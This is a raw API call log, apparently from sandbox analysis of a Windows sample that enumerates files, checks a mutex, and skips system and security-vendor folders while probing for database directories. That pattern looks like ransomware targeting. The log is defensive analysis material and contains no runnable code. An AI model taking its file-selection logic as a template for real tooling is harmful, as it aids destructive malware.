FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0277.234] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.234] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0277.234] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0277.234] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.234] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0277.235] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0277.235] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0277.235] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.235] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0277.235] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.235] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.235] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.236] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0277.236] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.236] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.236] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.236] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.236] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.237] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0277.237] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.237] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.237] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0277.237] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.237] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.237] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.237] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0277.237] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.238] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.238] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.238] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.238] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.238] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0277.238] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.238] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.239] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0277.239] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.239] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.239] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.239] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0277.239] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.239] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.239] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.239] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.240] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.241] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0277.241] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.241] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.241] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0277.241] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.241] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.242] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.242] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0277.242] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.242] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.242] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.242] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.242] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.242] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0277.242] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.242] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.242] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0277.247] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.247] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.247] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.247] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0277.247] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.247] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.247] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.247] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.247] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.247] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0277.247] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.247] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.248] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0277.248] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.248] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.248] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0277.248] GetLastError () returned 0x12 [0277.248] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0277.248] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0277.248] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0277.248] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0277.249] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0277.249] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0277.249] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.249] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0277.249] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0277.249] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0277.249] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.249] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0277.249] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.249] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.250] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0277.250] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0277.250] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.250] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0277.250] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0277.250] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0277.250] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.250] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0277.250] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.250] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.250] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\1031", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\1031") returned 1 [0277.251] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0277.251] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0277.251] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.251] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0277.251] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0277.251] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0277.251] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.251] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0277.251] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.251] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0277.252] GetLastError () returned 0x3 [0277.252] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0277.252] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1ced0, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0277.252] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0277.253] GetLastError () returned 0x2 [0277.253] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0277.253] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1ced0, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0277.253] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0277.253] GetLastError () returned 0x2 [0277.254] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0277.254] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39390, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0277.254] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0277.254] GetLastError () returned 0x2 [0277.254] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0277.254] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39390, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0277.254] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0277.254] GetLastError () returned 0x2 [0277.255] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0277.255] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec01c8, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0277.255] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0277.255] GetLastError () returned 0x2 [0277.255] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0277.255] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39390, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\") returned 6 [0277.255] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0277.256] GetLastError () returned 0x2 [0277.256] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0277.256] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39390, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0277.256] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0277.256] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0277.256] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.256] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0277.256] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0277.256] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0277.256] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.256] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0277.256] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.257] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0277.257] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0277.257] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2ab28, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0277.257] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0277.257] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0277.257] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0277.257] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0277.257] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0277.257] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa48, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0277.257] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0277.257] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0277.257] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39330, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0277.258] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0277.258] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0277.258] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.258] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0277.258] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0277.258] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0277.312] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.313] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0277.313] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.313] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0277.313] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0277.313] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0277.313] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39390, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0277.313] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0277.313] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39390, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0277.313] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0277.313] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0277.313] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0277.313] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0277.314] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0277.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39390, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0277.314] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0277.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39390, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0277.314] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0277.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39390, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0277.314] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0277.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0277.314] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0277.314] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0277.314] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0277.315] SHGetPathFromIDListW (in: pidl=0x6e46c8, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0277.315] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0277.315] IMalloc:Free (This=0x75e4d000, pv=0x6e46c8) [0277.315] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0277.315] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0277.315] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0277.315] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0277.315] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.315] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0277.315] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0277.316] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0277.316] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.316] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0277.316] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.316] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0277.316] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.316] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.316] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0277.316] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.316] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.316] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.316] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.317] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.317] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0277.317] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.317] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.317] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0277.317] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.317] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.317] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0277.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0277.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 